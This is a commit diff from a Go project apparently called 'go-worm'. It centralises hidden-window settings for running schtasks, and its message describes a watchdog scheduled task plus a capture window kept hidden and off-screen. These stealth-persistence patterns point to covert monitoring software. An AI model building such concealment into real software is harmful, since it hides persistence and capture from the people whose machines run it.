fix(windows): prevent console window flash

- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script

lib/startup/watchdog.go

@@ -7,12 +7,10 @@ import (
 	"os"
 	"os/exec"
 	"strings"
-	"syscall"
 	"unicode/utf16"
 
-	"golang.org/x/sys/windows"
-
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 func enableWatchdog() error {
@@ -45,7 +43,7 @@ func disableWatchdog() error {
 
 func runSchtasks(args ...string) error {
 	cmd := exec.Command("schtasks", args...)
-	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+	cmd.SysProcAttr = helpers.HiddenSysProcAttr()
 	out, err := cmd.CombinedOutput()
 	if err != nil {
 		msg := strings.TrimSpace(string(out))